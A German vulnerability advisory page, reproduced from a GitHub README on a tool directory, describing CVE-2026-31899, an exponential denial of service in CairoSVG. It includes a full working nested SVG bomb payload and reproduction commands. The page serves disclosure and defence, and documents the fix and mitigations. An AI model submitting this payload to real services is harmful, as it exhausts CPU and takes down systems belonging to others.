Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31899 — CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG (CVSS 7.5 High) | Kitploit
Tools/GitHubGitHub/snailsploit/cve-2026-31899
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG (CVSS 7.5 High)

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31899: Exponentieller DoS durch rekursive -Element-Verstärkung in CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Schlüsselwörter: CVE-2026-31899, CairoSVG, exponentieller DoS, SVG-Bombe, rekursives use-Element, Denial-of-Service, XML-Verstärkung, Python SVG-Schwachstelle, CWE-400, unkontrollierter Ressourcenverbrauch, Billion Laughs SVG

Inhaltsverzeichnis

  • Übersicht
  • Schwachstellendetails
  • Technische Analyse
  • Proof of Concept
  • Auswirkungen
  • Abhilfe
  • CVSS-Metriken
  • Referenzen
  • Kontakt

Übersicht

CairoSVG Exponential Denial of Service (CVE-2026-31899) — Ein 1.411 Byte großes SVG-Payload belegt die CPU dauerhaft zu 100 % durch rekursive -Element-Verstärkung.

CairoSVG (~300K Downloads/Woche) ist ein weit verbreiteter SVG-zu-PNG/PDF-Konverter in Python. Die use()-Funktion in cairosvg/defs.py verarbeitet -Elemente rekursiv, ohne Begrenzung der Tiefe oder Anzahl. Mit 5 Verschachtelungsebenen und jeweils 10 Referenzen löst ein kleines SVG 10^5 = 100.000 Rendering-Aufrufe aus – eine SVG-Variante des „Billion Laughs“-Angriffs.

Entdeckt von: Kai Aizen — SnailSploit Veröffentlicht: 13. März 2026 CVSS-Score: 7.5 (Hoch) CWE: CWE-400 — Unkontrollierter Ressourcenverbrauch Paket: CairoSVG (PyPI) Angriffstyp: Exponential Denial of Service Erforderliche Berechtigungen: Keine (Nicht authentifiziert)

Schwachstellendetails

Beschreibung

Die use()-Funktion in cairosvg/defs.py (Zeile ~335) löst -Elemente rekursiv auf, die auf andere -Elemente verweisen. Es gibt weder eine Rekursionstiefenbeschränkung noch ein Gesamt-Element-Budget. Ein Angreifer kann ein kleines SVG erstellen, bei dem jede Schicht die vorherige Schicht N-mal referenziert, was O(N^depth) Rendering-Aufrufe aus O(depth) Eingabe erzeugt.

Hauptmerkmale

  • Verstärkungsfaktor: O(10^N) Rendering-Aufrufe aus O(N) Eingabezeilen
  • Speicherprofil: Gleichbleibend ~43 MB – kein OOM-Kill, Prozess endet nie von selbst
  • CPU-Profil: 100% Single-Core dauerhaft ausgelastet
  • Payload-Größe: 1.411 Bytes

Betroffene Versionen

  • Verwundbar: Alle Versionen < 2.9.0
  • Gepatcht: Version 2.9.0 und höher

Technische Analyse

Die Schwachstelle besteht, weil:

  1. Die use()-Funktion in defs.py jedes -Element verarbeitet, indem sie dessen xlink:href-Ziel nachschlägt
  2. Wenn das Ziel selbst eine Gruppe ist, die -Elemente enthält, werden diese rekursiv expandiert
  3. Es wird weder ein Tiefenzähler noch ein Element-Budget durchgesetzt
  4. Jede Ebene multipliziert die Arbeit mit dem Verzweigungsfaktor (z. B. 10x pro Ebene)

Mit 5 Ebenen und einem Verzweigungsfaktor von 10:

root@kitploit:~
Ebene 0: 1 Element (root <use>)
Ebene 1: 10 Elemente
Ebene 2: 100 Elemente
Ebene 3: 1.000 Elemente
Ebene 4: 10.000 Elemente
Ebene 5: 100.000 Rendering-Aufrufe

Gesamt: 111.111 Rendering-Aufrufe aus einem 1.411 Byte großen Input.

Proof of Concept

SVG Payload poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Reproduktion

Methode 1 – Kommandozeile:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Erwartet: timeout beendet den Prozess nach 10 Sekunden (er wird nie fertig)

Methode 2 – Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Beenden nach 5 Sekunden
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] BESTÄTIGT: CPU-Erschöpfung – Prozess wurde in 5s nicht fertig")

Auswirkungen

Jeder Dienst, der SVG-Eingaben akzeptiert und CairoSVG zur Verarbeitung verwendet, ist verwundbar:

AngriffsflächeBeispiel
Miniaturansicht-ErstellungSVG hochladen → Server konvertiert in PNG

Eine einzelne Anfrage mit einem 1,4 KB Payload belegt den Verarbeitungsthread dauerhaft, während nur minimaler Speicher verbraucht wird (kein OOM-Kill, der Sie rettet).

Abhilfe

Sofortige Behebung

Aktualisieren Sie CairoSVG auf Version 2.9.0 oder höher:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

Defense in Depth

  • Setzen Sie Verarbeitungszeitlimits für alle SVG-Konvertierungs-Endpunkte
  • Implementieren Sie Eingabegrößenbeschränkungen für SVG-Uploads
  • Erwägen Sie die Sandboxing der SVG-Verarbeitung in isolierten Workern mit CPU-Zeitlimits

CVSS v3.1 Metriken

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Zeitplan

DatumEreignis
2026-03-09CVE reserviert
2026-03-13Advisory veröffentlicht (GHSA-f38f-5xpm-9r7c)
2026-03-13CairoSVG 2.9.0 mit Fix veröffentlicht

Referenzen

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG auf PyPI
  • CWE-400: Unkontrollierter Ressourcenverbrauch
  • Fix Commit

Kontakt

Kai Aizen (SnailSploit)

  • Web: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Der Proof of Concept wird bereitgestellt, um Verteidigern zu helfen, ihre Gefährdung zu validieren. Verantwortungsvoll nutzen.


📚 Dokumentation & Autor

Die vollständige Ausarbeitung, Methodik und verwandte Forschung dieses Projekts finden Sie unter:

https://snailsploit.com/cves

Erstellt von Kai Aizen — unabhängiger offensive Sicherheitsforscher.

snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

Gleicher Angriff. Anderes Substrat.

Tool herunterladen
PDF-ErstellungSVG in Dokument eingebettet → CairoSVG rendert
Avatar-/BildverarbeitungVom Benutzer hochgeladene SVG-Profilbilder
BerichtserstellungSVG-Diagramme in automatisierten Berichten
CI/CD-PipelinesSVG-Assets während des Builds verarbeitet
MetrikWert
AngriffsvektorNetwork (AV:N)
AngriffskomplexitätLow (AC:L)
Erforderliche PrivilegienNone (PR:N)
BenutzerinteraktionNone (UI:N)
AuswirkungsbereichUnchanged (S:U)
VertraulichkeitNone (C:N)
IntegritätNone (I:N)
VerfügbarkeitHigh (A:H)